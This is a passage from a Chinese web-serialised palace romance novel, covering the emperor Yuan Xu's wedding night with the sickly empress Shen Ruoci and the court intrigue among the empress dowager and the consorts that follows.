元栩摇头表示反对,随即正色道,“此事恰恰非朕不可。钦天监那帮老头说了,冲喜首先命格厚重之人。试问沈相,普天之下能有谁的命格比朕更好?” 帝王命,九五之尊,洪福齐天。 虽好,却无人敢臆想。 谁会想让皇帝来冲喜呢,除非想那人死得更快一些。 沈墨听他说得振振有词,一时分辨不出小皇帝话中有几分真假。 不过他大概也能猜到,此番他遭人陷害入狱,让狼崽子体会了一把失去左膀右臂的焦虑,最后终于想起来他的重要来,赶着来巴结他了。 要讨好他的法子有千万种,可他千不该万不该从他的宝贝闺女入手! 一口怨气又猛地蹿上头来,沈墨死死地瞪着他。 元栩见他黑着一张脸,好心劝慰道,“沿沿身子变好了,沈相该开心才是。” 他开心得很! 要不是看在女儿好转的份上,就他这些天的所作所为,就足够被扔在地上毒打一顿。 打死都不足惜。 元栩却无视他的不满,“朕可以跟您保证,沿沿留在朕身边,只会越来越好。” 话已至此,沈墨就算再被怒气冲昏头脑,也能想明白他话中的意思。不论冲喜一事是真是假,他都有能力为沿沿医治。 只是,不能把人还给他就是了。 沈墨吐出一口浊气,“臣进去看看女儿。”扔下话后,便头也不回地走到屋里。 元栩并没有跟进屋去,他知道沈若辞父女二人分离了一段时间,私下肯定有话要说,所幸去前殿露个面,招待一下宾客。 自二人独自出去后,沈若辞探着头观望了许久,一直留意他们的动静,终于等来父亲。 沈墨进屋后,仍牵挂着她的身体,拉着沈若辞仔仔细细又问了一遍。 等沈若辞将近来好转的迹象一一说给他听后,沈墨才放下心来,不再追问。 元栩在前殿连喝了三杯酒后,便找了个借口离席。 今夜的风意外的宜人,他慢悠悠地踱步到皇后宫中,出现在父女二人的视线之内。 春宵一刻值千金,可惜沈墨没有眼色,并没有要离开的意思。元栩嫌他碍眼,心情也变得不耐起来。 但转念一想,沈相至今没成过婚,没当过新郎官,自然不懂新郎迫切的心思。 于是,他委婉道,“沈相,夜深了。” 沈墨一动不动,好似没听见一般。 元栩又催道,“沿沿身子不好,不能熬夜,爹赶紧回吧。” 他说得理直气壮。 沈墨简直被他的厚颜无耻震惊到了。 正待发作,却发现沈若辞轻轻地拉着他的袖摆,央求道,“阿爹您先回家吧。” 父亲才刚出狱,就火急火燎地赶来宫中。肯定没来得及休息一下,沈若辞希望他能回府好好休养。 元栩见缝插针道,“皇后说的是,年纪大的人,也不宜熬夜,爹赶紧回家吧。” 沈若辞倒吸一口凉气,下意识地抓住父亲的手,“阿爹、沿沿累了。” 沈墨立即担忧起来,手脚都有些局促不安起来,“好、好,阿爹这就走,沿沿好好休息。”说着敷衍地向元栩拱手告退。 元栩像没看到那般温和一笑,“天黑路难走,朕让严从晖送送沈相。” 沈墨掀起眼皮不满地瞪了元栩一眼,他还没老到那个地步,要人送! 清瘦的身影消失在夜色里,沈若辞悬着的心总算放了下来,她又盯着沈墨离开的地方看了一会,才不舍地收回目光。 她慢慢地转身回屋,失落袭上心头。 元栩就站在不远处看着她,也不知道看了有多久,沈若辞只看了一眼,便垂下头去。她心头慌乱,硬着头皮又往前走了几步,走到他跟前。 金丝线勾出芍药的妩媚,宽腰带束着纤细的腰身,精致的裙摆随着步伐晃动漾开层层的水纹,很是赏心悦目。 元栩的注意力都在她的裙子上,见水纹戛然而止,目光便落到她脸上,“好看吗?” 沈若辞反应过来他说的是裙子,点点头,“好看的。” 元栩几不可见地勾了勾唇角。 也不枉费他熬了三个夜晚画图,他愉悦地扬起头,目光碰及她身后一对手臂粗的红烛,她纯稚的眉眼被烛光映得尤其生动。 元栩莫名觉得口干。 接下来,洞房花烛,鱼水合欢。 风吹烛火,火苗欢快地跃动。灯影幢幢中,他的梦境里,沈若辞如今日一般,穿着嫁衣,嫁给了袁子逸。而此时,她凤冠霞帔,国色天香,是他钦点的妻子,是大魏的皇后。 梦便是梦,即便梦里的人再痴心妄想,那也成不了真的。 他想了一下,那纯得媚人的小脸,雪色绵软的身子,完全绽放在艳红被褥中的模样。 元栩几乎不敢往下想,生怕再想一下,脑中的弦就要崩掉。 他伸出发热的掌心,要去拉她,话说出口来都有些烦躁,“安置吧……” 第34章 沈若辞察觉出他话中的不耐烦, 也立即意会过来他前后的反差。眼下父亲走了,他就懒得装出关切的样子。 好在沈若辞不甚介意,甚至还有些许开心, 只要皇帝能兑现承诺,阿爹能平安回家, 她还是感谢他的。 她也不是什么想恃宠而骄的人,不会让皇帝难做。 眼见他微微抿紧唇, 或许是快要爆发了,脸上因为不耐泛起一层怒红, 她识趣地避开皇帝的手,下意识地往后退了一步。 思量再三, 她小心翼翼地开口, “父亲一事, 臣女感恩皇上, 日后定会安分守己。您放心,什么话不该说, 什么事不该做, 我都有分寸。” 言下之意,她不会拿皇后的身份说事,她会做好当一颗棋子的本分。 至少,目前她会做到。 元栩喉头一窒, 修长好看的手停在二人之间,要说的话僵在嘴角。刚起的兴致被浇灭了大半,他悄无声息地收回手, 就听沈若辞继续温和地说道,“夜深了,皇上日理万机, 今夜臣女不敢耽误您休息。” 沈若辞识趣地找了个借口给他离开。 这个时辰,皇帝也不该留在这里,该去前殿宴客才对。 宴客后也不必回她这里了,毕竟演了一天的戏,他也该累了。 元栩周身都僵硬起来,二人之间仿佛横了一道奔腾的河流,他脚下的步子怎么也迈不开。明明一副小心讨好的模样,偏生说出来的话,句句不合他的意。 久违的失落一丝一丝地爬上心头,没想到走到今天,成了他的夫,还是被她无情地推开。 他脸色骤沉,方才所有的旖旎烟消云散。冰冷的情绪笼罩着他,他凝着她的脸,杏眸里蒙着一层水雾,叫那张明艳的脸儿看起来无辜又动人。 他走就是了。谁稀罕呢。 元栩说走就走。 岳常安原本在院中欣赏夜景,四处红彤彤的,看起来就喜庆。 这些年来,宫里好久没办过喜事了。皇帝是他看着长大的,作为宫里的老人,他也开心。 只是这开心没能延续多久,他们家的小皇帝就冷着脸地从屋里出来,下台阶的时候还踢坏了一盆开得正艳的牡丹。 白瓷花盆顺着阶梯滚落,落地声音清脆,碎了一地。院中等候传召的宫人站了两排,被这破碎的声音吓了一跳,大气也不敢出,个个面面相觑。 岳常安看着元栩的渐行渐远的身影,又往屋里瞧了瞧,忽然脑子一灵光,忙喊道,“皇上,老奴有要事相禀。” 他匆忙地跟上前去,“皇上,今日帝后大婚,理应同衾共枕,来年方能……风调雨顺,国泰民安。” 元栩本来没打算停下脚步的,直到听到“同衾共枕”四字,他忽地停在原地,慢慢皱起眉头,迟疑了一下,又原路折回。 路过岳常安面前的时候,还训斥了一声,“事关重大,为何不早说!” 岳常安看了一眼站成两排的下属,“……” 他不要脸面的吗? 元栩从善如流地返回屋里,沈若辞正坐在妆镜台前,锦云帮她拆下凤冠,准备梳顺一头乌黑的长发。 方才岳常安说的话——她听得一清二楚。 起初她没有放在心上,直到那渐渐的远去的脚步声又重新响起,她才觉得好笑,那样肆意妄为的人,竟然也信这种说法。 皇帝去而复返,原本正发愁的连嬷嬷顿时喜笑颜开,她忙迎上前去,“今日皇上大婚,有什么事情尽管吩咐老奴。” 元栩淡淡地“嗯”了一声,眼角像不经意一般往沈若辞那边瞥了一下,见她仍坐着由锦云卸下头饰,并没有反感的情绪,不由得心安理得起来,“嬷嬷,朕要沐浴。” 他说的什么话?沈若辞几乎不敢相信自己的耳朵。就算今晚要留宿,也不用这么快沐浴入寝吧,难不成他不用出去宴客? 敢情那些宾客是请着玩的? 突然听皇帝这么说,连嬷嬷也是怔愣了一下。虽说她害怕帝后刚成婚就产生嫌隙,一心盼着皇帝今夜能留下来,夫妻间和和睦睦。 但按仪式走,皇帝这会儿应该出去宴客才对。 她犹豫起来,不知是否该提醒他现在还不到沐浴的时辰。 元栩没有半点自己该做什么的自觉,他好不容易找到借口留下来了,难不成又要他去招待那群聒噪的臣子? 不可能。 “传令下去,今夜筵席不设时间,众爱卿尽可开怀畅饮。” 岳常安有些迟疑。 元栩并没有改变主意的意思,他一边往浴房走过去,一边说道,“朕不胜酒力,该休息了。” 岳常安应下,心道皇帝方才抽空去了前殿一趟,也算是在筵席上露过面了,此时不去也没什么大不了。 最主要的,还是这小祖宗开心要紧。 凤冠珠钗拆卸下来,沈若辞已梳顺一头浓密的秀发,此时外袍也已经褪下来,她穿着中衣静静地等待沐浴。 也许是屋中太过安静,又或许是无事可做,此时浴房中的水声此起彼伏,格外的清晰。 沈若辞想到了什么,脸颊一红,悄悄地别过脸去。 连嬷嬷已经帮她准备好了新婚夜要穿的衣裳,整整齐齐地叠在一起,就等皇帝出来后,换她进去。 她坐了一会,就被屋外的声音吸引了注意力。 “岳公公,表哥呢?亦心有要事跟皇上禀报。” 女子声音听起来稍显慌乱,急得像要哭了的样子。 岳常安回道,“呦,急事吗?连姑娘可以先跟老奴说,老奴去向皇上禀报。” 连亦心眼圈都红了,“此事事关重大,亦心还是亲口跟表哥说的好。” 岳常安知道皇帝今夜不想被打扰,但连亦心与皇帝的关系非同一般,他也不敢怠慢。 犹豫了半晌之后,岳常安徐徐回道,“连姑娘稍等一会,老奴进去禀报。” 连亦心点点头,在原地等候着。 屋内人影移动,烛光轻颤。元栩从浴房里出来,身上着一件红色的单衣,衣带系得松松垮垮的,衣服也不好好穿,露出大片的肌肤。 沈若辞坐在床沿,垂下头去假装没看到。很快地,元栩走到床边,沈若辞意识到对方要上床休息,准备起身让路。 男人强劲有力的手臂伸过来,修长的手指扣住她的下巴,微微抬高她的脸。他的手指一点一点捻去红唇上的口脂,指腹染上嫣红,她的双唇却更加娇艳。 沈若辞视线刚好落在他的胸膛上,交叠的衣襟松散开来,他的身体被看得一清二楚,完全不像外貌那般清俊。 那夜在她的闺房里,只有她脱了衣裳。他连外袍都始终穿在身上,只是被她抓皱了。 沈若辞头一回见到男人这个样子,野性又充满力量,看得她一阵面红耳赤。 口脂被抹去,元栩眼中的欲望更加明显了,就势俯下身要来亲她,她实在无法接受这个刚刚急着要走的男人,此时竟迫切地要与她……欢好! “皇上!臣女尚未沐浴。”情急之下,沈若辞随口扯了个理由。 元栩恍若未闻,一步步地逼近。 沈若辞只能后撤,她感受到了危险,像皇帝第一次要她那样,强势到让人无力抵挡。 可是屋中亮盈盈的,帐幔也没放下来,这人就不管不顾地要作弄她。 “皇上,唔……” 下边的话尽数淹没在交缠的呼吸里。 他的吻来势汹汹,沈若辞很快招架不住,呼吸急促起来,被迫与他纠缠。 “皇上……”岳常安站在门口挣扎了一会,几乎是小心翼翼地喊人。 沈若辞惊了一下,抬手去推他。元栩被她挣脱开,不悦地皱了皱眉头,但兴致丝毫不减。 没有得到回应,岳常安硬着头皮一口气将话说完,“启禀皇上,连姑娘有要事求见。” 交缠的身影滚到床上,床幔落下来。 沈若辞双眸起了雾,胸脯也起起伏伏。不是说同衾共枕就是了,可没说还要做这事啊。元栩对外边的声响置若罔闻,亲着她的锁骨往下。灼热的呼吸洒在身上,沈若辞觉得没有谁能把这头凶兽恶狼叫走的时候,一声“连姑娘”却让皇帝突然起身,他从帐幔中走出去,边走边说,“朕出去一会。” 连嬷嬷原本已将床前的帐幔放下来,放到一半,听到连亦心又把皇帝叫走了,心里不舒服起来。 平时也就算了,今日皇帝大婚,怎能如此儿戏,说把人叫走就叫走。 她虽是连家出来的,但凡事孰重孰轻,还是拎得清的。 皇帝披上外袍就走了,沈若辞红着脸从床榻上坐起来,头发散了,嫁衣也扯乱了,模样看起来有些可怜。 连嬷嬷暗地里叹了口气,走上前去,“娘娘,老奴先服侍您沐浴。” 沈若辞点了点头,“有劳。” 锦云捧着换洗的衣物跟进浴房,忍不住嘟哝了一句,“连姑娘面子真大。” 连嬷嬷一个眼刀过来,锦云立马噤声。 七夕宴的时候,沈若辞就知道皇帝对这个表妹非同一般。今日亲眼所见,更是验证了她的想法。 原来传言皇帝属意袁妙莹一事是假,喜欢他的小表妹才是真。 锦云到底没忍住,私下惶惶不安地问连嬷嬷,“皇上不会就不回来了吧?” 第35章 连嬷嬷摇摇头示意她闭嘴。 沈若辞泡在温水里边, 假装没听到,她舒舒服服地伸了个懒腰,心想不回来最好了。 泡了一会, 连嬷嬷准备干净的布巾帮沈若辞擦干身上的水珠。 年轻女孩子的身子莹莹如白玉,□□细腰, 香软诱人,一双玉-腿更是修长又笔直, 看一眼,都会心肝儿乱颤。 就这身段容貌, 随便挑出一样,都能让男人失了魂。 沈若辞不习惯连嬷嬷的伺候, 她接过布巾, 自己将身子擦干净, 然后披上锦云送上来薄纱寝衣, 皱着眉头回到床上。 皇帝走的时候,没说不回来, 她只能坐着等。 夜深了, 屋中到处都是喜庆的红,却透着一股冷冷清清,偶尔有烛火跳动,发出“哔啵”的响声, 一瞬而过,屋中又恢复沉寂。 沈若辞身披薄毯,乖巧地坐着等待, 明丽的面容略显憔悴,很明显是折腾累了。 连嬷嬷看了一眼烛台上已燃了大半的龙凤喜烛,稀松的眉头皱得更紧。 洞房花烛夜, 把新郎叫走了,连亦心揣的什么心思,连嬷嬷心里跟明镜似的,清楚得很! 她从床尾拿来锦被,披在沈若辞身上,扶着她躺下,“娘娘先睡一会,皇上回来老奴再叫您。” 沈若辞早就困得不行,一听这话,立马就躺下了,脑袋沾了枕头,不出一会儿就从睡梦中发出均匀的呼吸声。 长夜漫漫,等待的时间最是漫长。 一夜过去了,如她所料,皇帝彻夜未归,她白等了大半夜。也幸好连嬷嬷善心大发,让她睡了一两个时辰。 纵使是小睡了一阵,但碍于沈若辞身子骨差,经不起折腾,一早醒来气色看起来便不好,就算在锦云一双巧手的精心打扮下,仍看得出人很憔悴。 与沈若辞宫中的清冷不同,一大早薛太后宫里边异常热闹,后宫里的四位嫔妃悉数到齐,各怀心思,迫不及待地要会一会这个新皇后。 薛雪媚第一个来的,自昨夜知道皇后是沈墨的女儿后,便想来找太后诉苦,哪知当场吃了闭门羹,只好悻悻地回自己宫中。 经过一夜的消化后,她仍接受不了现实,“姑母,您说那个病秧子哪点比我强了,她哪里配得上皇后的位置!” 薛太后昨夜对众人闭门不见,自己关起门来想了半宿,也大概弄明白皇帝打的什么算盘。 至于沈若辞,不过是皇帝拉拢人心的棋子罢了,保不准没用完就扔了。 薛太后被薛雪媚闹得头疼,冷冷地瞥了她一眼,冷笑道,“你觉得皇帝能真心对她好?” 薛雪媚顿了一下,若有所思地望向姑母。 薛太后还不到四十,又因为养尊处优,保养得当,看起来还算年轻漂亮,只不过眼底似有若无的凶气让人觉得不舒服。 薛雪媚心底里还是有些畏惧这个姑母的,这时候见她轻轻抚了抚衣襟,饶有兴致地说道,“岳父还在大牢里,就用尽手段把人家女儿弄到手,你说皇帝是真心的不成?” 要说皇帝真心实意把后位奉上给沈家的女儿,她是一点也不相信的。那逆子从小就心思阴沉,又与沈相不对付,能这么做必然是事出有因,保不准还有什么不为人知的阴谋。 “好了好了,此事你知晓便好,千万不要外传。” 薛雪媚终于破涕为笑,朝薛太后点了点头,她才不会傻到说出去,这事她自己知道就好。 早膳过后,各宫的妃子纷纷前往薛太后宫中。沈若辞由连嬷嬷陪着达到的时候,屋里边已黑压压一群女人。 她依照连嬷嬷教给的规矩向薛太后请安之后,便在下首坐了下来。 自沈若辞进屋来,几位妃子就开始抬眼去打量她,待见到她容貌憔悴,面色苍白,一副不大好的样子,私下都生出几分欢喜。 薛太后已得知沈相昨夜进宫来闹过一场,也知道元栩离开后就彻夜未归,她脸上堆满笑容嗔怪道,“这皇上也真是,半点交待也没有,就把你带进宫里来,想来沈相还不知道吧。” 沈若辞微微一笑,“父亲昨晚已知晓此事。” 薛太后看不出她的,又试探道,“皇上性子自小给惯坏了,昨夜你俩大婚,他不留在宫中陪你,可委屈你白等一夜了。” 乍一听像个明事理的长辈在斥责不省心的孩子,但听在他人耳里,便是坐实了皇帝大婚夜彻夜未归的事实。 几位妃子心想皇后也不过如此,不也一样在皇帝那里受到冷待,众人心照不宣地对视一眼,继续看好戏。 沈若辞只是默默地听着,等薛太后说完了,才应了一声,“皇上政务繁忙,臣妾说不上委屈。” 沈若辞怕得罪皇帝,什么话都挑好的说。 几位妃子听皇后大婚夜被冷落,别提有多解气了。皇后也不是谁都能当的,她们排着队等了两年,凭什么让一个罪臣之女捷足先登。几个人都铆足了劲,想要看这位新皇后的笑话,可还没说上话,皇帝突然过来了,屋中的氛围也突然变了,众人的焦点都落在这个男人身上。 薛太后脸色微微一变,见皇帝对她行礼问安,也就露出笑容来,“皇上来啦。” 元栩在沈若辞身旁坐了下来,像寻常母子一样开玩笑道,“太后没说朕的坏话吧。” 薛太后不觉得是玩笑话,皇帝是赶着来试探她,生怕她在沈若辞面前,说出什么不好的话来,坏了他的好事。 薛太后笑得耐人寻味,“这时间过得真是快啊,没想到如今皇上也到了大婚的年岁了,想当初皇上刚登基的时候,大殿上文武百官齐声跪拜,皇帝就缩着脖子坐在龙椅上,身子僵硬一动不动,半天不吭声。本宫就寻思这孩子该不会闹脾气了吧,故意为难这群臣子,不让人起来。哪知等到本宫上前一看,你们猜怎么着……” 沈若辞原本没什么心思听她讲这些,但是薛太后故意卖关子,她也不好意思不捧场,跟着众人投过去好奇的目光,等她继续说下去。 薛太后见众人期盼的目光,更加起劲,脸上泛着红光,笑声也一串接着一串,“这不看不知道,一看才发现,这皇上啊……就这么当着群臣的面,给吓得尿裤子了!” 她抚着胸口笑个不停,脸上带着几分久违的得意。那几年里,她逢人便提这件事,后来皇帝日渐疏远她,也好久没有机会拿出来讲了。 难得今日人员到齐,她旧事重提,讲得比当年还起劲。 起初还有人跟着陪笑,到了最后,只剩下薛太后一人的笑声,在空旷的宫中尤为突兀。 先帝英年早逝,元栩登基的时候还不到七岁。一个七岁大的孩子面对大殿中乌泱泱几百号人同时开口,那庄严压抑的气氛很难不害怕。沈若辞没有跟着笑,因为嘲笑一个小孩子并不是什么有趣的行径。 她微微侧头过去看皇帝,只见他坐得散漫,丝毫不受周围笑声的影响,有一下没一下地逗弄对面的金丝雀。 坐在鸟笼旁边的淑妃羞得满脸通红。 等薛太后笑够了,皇帝才不疾不徐地站起来身来,淡淡地说道,“朕还有事要忙,便不久留了。” 话刚出口,几个女人的目光齐刷刷地落在皇帝身上,见他转身就要离开,个个都面露失望,甚至觉得皇帝没有留下来,都是因为沈若辞在这里的缘故。 恶意来得莫名其妙。 皇帝走了也好,她们可以会一会这位新皇后。 哪知原本已经走出几步的皇帝突然回过头来,冷声道,“皇后身子骨不好,若是没什么事情,还是早些回宫歇息吧。” 沈若辞本来也没打算久留,凡事走走过场就好,没有必要演得太入戏。 但是她也不想和皇帝一起走,只恭恭敬敬地回了个“是”,想等皇帝走后再找个借口离开。 就磨蹭这一小会儿没走,沈若辞视线忽暗,手腕被人攥住,一股力量将她整个人从椅子上拽起来,接下来便不分青红皂白地往外拉。 众人连带太后都看得目瞪眼呆。 昨夜雪辉宫的事情都私底下打听到了,皇帝彻夜不归,皇后新婚之夜独守空房,想来皇帝也不是真心立后。 今日见此场景,惊讶之余都忍不住相视一笑。 其实皇帝并非有意拖拽沈若辞,他身形高大,腿又长,步子迈开本来就比寻常人要大,沈若辞跟不上他的脚步,又被紧紧拉着,从后边看过去,就像是被强行带走。 等出了太后宫殿,皇帝才放慢了步子,但依然握着沈若辞的手没有放。 沈若辞试着收回手,皇帝却握的更紧,她只好作罢。 两人走了一段距离,都没有说话,最后元栩先开的口,“怪朕?” 这话问得莫名其妙,沈若辞一时语塞。 元栩以为她没听见,长袖下按了按她的手。 虽说两人已有过肌肤之亲,但这动作对沈若辞来说,像被人轻浮了一般,莹白的脸颊瞬间染上一层薄红。 元栩觉得女孩子就该是这样,双颊泛着浅浅的粉,看起来才赏心悦目。 他停下步子,将沈若辞端详了一会,才严肃道,“直接回雪辉宫去,没朕的命令不准乱跑。” 沈若辞知道宫里犯错的妃子会被禁足,皇帝这么说,大概是想把她给禁足了。 作者有话说:祝大家中秋节快乐呀[烟花][烟花][烟花] 第36章 她想要的不是能在宫里自由行动, 是想直接出宫去,眼下还不是机会,她没有必要为这事触犯他, 乖顺地点了点头。 得到想要的答案,元栩吩咐宫人将沈若辞送回雪辉宫, 自己则是去了前殿。 大殿里,连骁一早便等着召见。 “朕大婚休沐三天, 舅舅一早进宫见朕,是来祝贺朕的?” 元栩虽一夜未睡, 但整个人神采奕奕地走入殿中,看不出半分倦意。 与之相反, 连骁的脸色却黯淡无光, 他知道皇帝打的什么算盘, 又见他意气风发的模样, 忍不住泼他冷水,“皇上不觉得迎娶沈家女一事欠妥?” 元栩假装听不懂他话中有话, 眯起眼睛反问道, “朕与沈相结为亲家,日后沈相便可全心全意为大魏效忠,有何不妥?” 连骁沉下气来,“想要拉拢沈相有许多种方式, 皇上明知沈相最宝贝这个女儿,却偏要从她入手,沈相能真心听朝廷派遣?” 元栩忽地想起沈若辞上回在街上晕倒, 便是由连骁救回府里,他心下了然,面上却不露声色, “皇后已入主雪辉宫,舅舅现在同朕说这些话是何意?” 连骁试图说服他,“臣听闻沈相昨日连夜进宫讨要女儿,依臣看,眼下知道此事的人并不多,况且皇上昨夜彻夜未归,未与她有夫妻之实,不如依沈相的意思,放沈家女回去。” 元栩觉得有趣极了,不管连骁这番话是为他打算,还是为得到沈若辞,他都要对这个舅舅刮目相看。 他假装没看穿连骁的意图,却话里有话刺激他,“朕做事,可曾有过反悔的时候。况且沈家女不管才貌都深得朕心,于朕而言,都是有利无害,舅舅何必操这个心。朕昨夜亏欠皇后,今日要将洞房花烛补上,舅舅若是没有其他事,就回去吧,朕要先去补个眠……” “皇上!” 连骁看中沈若辞的美色,想将她困于后宅占为己有。女人用美貌取悦男人,是天经地义的事情,他也会给她该有的宠爱。可如今亲耳听皇帝同样觊觎她的美貌心里却大不是滋味。 他忍了忍,“皇上当以大局为重。” 元栩不以为然,“是舅舅多虑了。”他一副油盐不进的模样,打着哈欠离开了。 连骁仍立在原地,一阵陌生的无力感袭上心头,他无法想象,沈家那朵弱不禁风的娇花,落入他恣意妄为的外甥手中,会被摧残成何种模样。 皇帝昨夜彻夜未归,今日连半句安抚的话都没有,还直接把皇后给禁足了,此事很快就被耳目传回薛太后宫中。 薛雪媚等人都觉得这个皇后当得也忒窝囊。 尤其是淑妃,今早皇帝的目光一直在她身上留连,想来是终于发现她的美貌,她觉得自己要熬出头来了。 薛雪媚鄙夷地瞥了淑妃一眼,选择忽视,她突然想起一件事来,“姑母,听说皇上并没有跟那个女人圆房,您说皇上是因为……身体不行?还是讨厌那个女人,不想碰她啊。” 薛太后并没有接话,心里却冷笑道,皇帝哪里是不行啊,分明就是不愿意碰沈相的女儿。 他如今为了大局娶了不待见的女人,就算给了沈若辞至高无上的位置,却也像厌恶她选入宫的人一样,不留情面地憎恶于她。 薛太后看着皇帝长大,自认对他的性子很是了解,他那些曲曲折折的心思,一点也没能逃过她的法眼。 这些话自然也不能说出来,她正色道,“皇上可能是政务繁忙,无暇顾及皇后罢了,休要胡乱猜测。” 薛雪媚听完太后的说辞,心头掠过一丝欢喜,红着脸道,“臣妾也是这样认为,皇上身体那么好,怎么可能不行呢。” 连亦兰看不惯她那娇纵的模样,用帕子捂着嘴笑道,“姐姐倒是会自欺欺人。” 说得好像皇上身体好,她就能用得上似的。 薛雪媚回瞪了她一眼,嘲讽道,“你们这些表姐啊表妹的,也不见得就有特别的待遇,皇上这些年给过你一个正眼?” 这话直往人心窝子里戳,连亦兰被戳中了痛处,心底里很不是滋味。当年入宫前,她收到过皇帝的口信,劝她不要进宫。可她那时候为能入宫成为他的女人满心欢喜,哪里听得进那些劝告。她几乎是没有犹豫,听从连骁的安排,毅然决然地入了宫。 可现在她开始怀疑,自己是不是选错了路。皇帝对她几乎是不闻不问,可对连亦心,却是非同寻常的好。 明明她才是他的妃子,可到头来竟还不如自己的妹妹。 连亦心这边,也不如连亦兰想的那般称心如意。 昨日她入宫参加喜宴,遇见随袁家女眷一同入宫的袁妙莹。心里止不住嗤笑她,前阵子袁妙莹可是风头最盛的“准皇后”,今日被现实打了脸,不偷偷躲起来哭鼻子,竟还有脸来宫里,是嫌还不够丢脸吗? 有这样的想法的人不止连亦心一个,还有后宫几位妃子。 所以当袁妙莹好不容易接近薛雪媚,央求她带自己去见薛太后,说有重要事情要禀报的时候,她毫不留情地拒绝了,“太后娘娘不是谁都能见的。” 袁妙莹窘迫得抬不起头。 事后连亦心趁众人不注意的时候,找到角落里的袁妙莹,问她见太后娘娘所为何事。 袁妙莹正苦于无人理会,见主动上前来的连亦心,知道她与皇上要好,转而求她带自己去见皇帝。 连亦心自然不傻。 她逼问袁妙莹一番之后,竟得到惊人的消息——沈若辞婚前与男人私通,早已失了清白之身。 连亦心喜出望外,就知道按她梦中的情节,不存在沈若辞这号人做了皇后。 一个失了贞洁的女子,如何做得了皇后呢。 连亦心唇边现出一抹笑意。真好啊,一打瞌睡就有人送枕头。她按捺下心头的喜悦,将袁妙莹带到一处偏殿安置后,便过去雪辉宫找皇帝。 不出意料,元栩跟着她一同去见了袁妙莹。待袁妙莹说出沈若辞失贞于马瑜春的时候,皇帝果然怒不可遏,连夜就带着人出宫去了。 原本以为,皇帝去找马瑜春对质,问清楚实情后,就会回宫里废后。 哪知一直等到第二天早上,等来了马瑜春被收押的消息,却迟迟不见废后的圣旨下来。 连亦心稍作打听,才知道马瑜春是因强占民女一事被收押,根本没有任何有关皇后的言论。 与此同时,连亦心也打听到另外一个消息。皇帝昨夜也去了一趟国公府,离开后,袁家连夜将女儿送到了鸡笼山上的一个小道观里,对外称是养病。 连亦心对此事深表怀疑,谁家千金小姐会到那种荒山野岭去养病呢?更何况昨夜她见袁妙莹的时候,人分明还是好好的。 这整件事下来,丝毫没有按照她设想的结果走,皇后仍好好的留在宫中。 沈若辞从薛太后宫中回来后,就直接上床补觉了。皇帝不是真心要她当皇后,她也不必用心对待,各取所需罢了。 这么一睡,就睡到了黄昏,午饭也没吃,还是饿醒的。 她迷迷糊糊地揉了揉眼睛,坐起身来朝唤道,“阿茉,现在是什么时辰了,我肚子饿了。” 锦云忙上前回道,“娘娘,阿茉姑娘在尚宫局的嬷嬷那里学习呢。奴婢先伺候您梳洗,晚膳已经在准备了。” 经锦云的话一提醒,沈若辞才想起来这里不是沈府。 她掀开被子,从床上爬起来。阿茉被送去学规矩,人生地不熟的,也不知道她过得好不好。 沈若辞有些担忧,“锦云,你说阿茉要学多久啊?” 锦云也说不准,她不敢揣测皇上的心思,摇摇头回道,“奴婢也不清楚。” 屋里的灯一一被点亮,连嬷嬷从外边进来,“娘娘先用晚膳,皇上晚一点要过来。” 沈若辞心头咯噔一下,她本以为皇帝会就此冷落她,她也好图个清净。可是这一天见几次,她哪里有精力应付。 宫里的第一顿晚膳,原本饥肠辘辘的沈若辞吃得不香了。 饭后在花园里走了一圈,沈若辞始终恹恹的,提不起劲来。但连嬷嬷却一个劲儿地催,催她沐浴更衣,催她梳妆打扮。 沈若辞知道连嬷嬷严谨惯了,凡事都要按照宫里的一套规矩,做到极致。若想讨好皇帝,有这么一个人尽心尽力帮忙张罗大小事物,确实是一件美事。 只是这些力气用在她身上,算是白费了。 沈若辞从浴房里出来后,就直接钻床上去了,裹着被子不肯出来梳妆。 连嬷嬷一想到昨夜没能留住皇上,今日下了狠手,给沈若辞挑了一身更加清透的寝衣。 沈若辞没能体会连嬷嬷地良苦用心,只觉得羞人得很,她掀起被子往里面瞧了一眼,无奈地呼出一口气,“嬷嬷,您给我换套衣裳吧。” 连嬷嬷像是没听到她的控诉一般,自顾自地从袖袋里掏出一个香囊,“娘娘私下收好这个,最好随身带着,皇上喜欢这个味道。” 作者有话说:收藏不涨……是不是文丑啊,小作者都没有信心了!!!祈祷来一波收藏呀呀呀呀!!![笑哭] 第37章 沈若辞接过香囊, 拥着被子坐起来,她翻看了一下外观,杏色的布料上绣着一枝翠竹, 并无什么特别之处。 只是这香气,并不是什么好闻的香料, 而是普通的草药香气,跟皇帝身上惯有的味道一模一样。 沈若辞记得皇帝说过, 他说这药香能治他的头疾。 她打开香囊,细细研究一番囊中的药物, 发现只是普通安神的药材,忍不住在心里嗤笑一声。也不知道是哪个庸医开的, 被骗了这么久, 皇帝竟也没发现。 沈若辞犹自腹诽, 她收好香囊, 便听到屋中有些许动静,一个抬头, 就见皇帝正缓步过来。 “什么事, 这么开心?” 他皱着眉头,似乎有些不满。 沈若辞压下嘴角,匆匆地从床上下来,鞋子也没有来得及穿上, 赤着脚跪在地上,“臣女……臣妾参见皇上。” 元栩这才发现,她身上只披着一件薄薄的纱衣。此时刚入秋, 天气并不很冷,可她久病在身,哪里承受得住, 便责怪道,“你这身子,穿这么少?” 沈若辞这才回想起来,自己身上穿了什么,被他这么一提起,瞬间红了耳根,窘迫地站在原地,一时不知该作何反应。 元栩褪下披风,打算给她穿上,视线落在她身上,纱衣薄如蝉翼,纱衣下婀娜的曲线一览无余。 杏色的小衣上绣着大朵的芍药,穿在她身上,峰峦起伏,芍药花绽放得彻底,娇艳欲滴。细腰下,长裙一路延展到地面,莹白的足尖若隐若现。 这莫不是来要人命的。 只一眼,他便觉得喉头发热,心神也杂乱起来。 元栩深吸了一口气,告诫自己凡事要循序渐进,切不可让欲望扰乱了心智。他脸色骤沉,冷冰冰地将披风递过去。 “穿好。” 沈若辞依言接过披风。 见他面色不佳,就知道皇帝定是以为自己逾矩了,在肖想不属于她的东西。 她垂下眼眸,将披风穿上,掩住了窈窕的身段。 元栩个子高,他的披风穿在沈若辞身上,下摆直接拖地了,他看得眉头紧锁,最终还是喊来锦云,叫她给沈若辞换一身外出的衣裳。 锦云上前褪下沈若辞的披风,连嬷嬷随手接过来走到皇帝跟前,“皇上可要外出?” 元栩点点头,“朕跟皇后出去走走。” 沈若辞感觉背脊一寒,忍不住打了个哆嗦。出去走走,做什么? 沈若辞看了一眼屋外漆黑的天色,无法揣测出圣心,只能眼巴巴望向连嬷嬷。 连嬷嬷立即心领神会,“皇上,娘娘饭后已经出去走了一趟。” 